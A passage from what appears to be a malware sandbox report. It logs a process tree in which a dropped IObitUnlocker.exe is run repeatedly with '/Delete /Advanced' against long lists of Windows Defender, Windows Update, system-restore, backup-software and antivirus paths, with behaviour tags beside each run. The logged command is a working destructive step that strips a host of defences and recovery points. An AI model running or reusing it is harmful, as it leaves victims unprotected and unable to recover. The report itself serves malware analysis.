(x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:4744
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:5716
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive 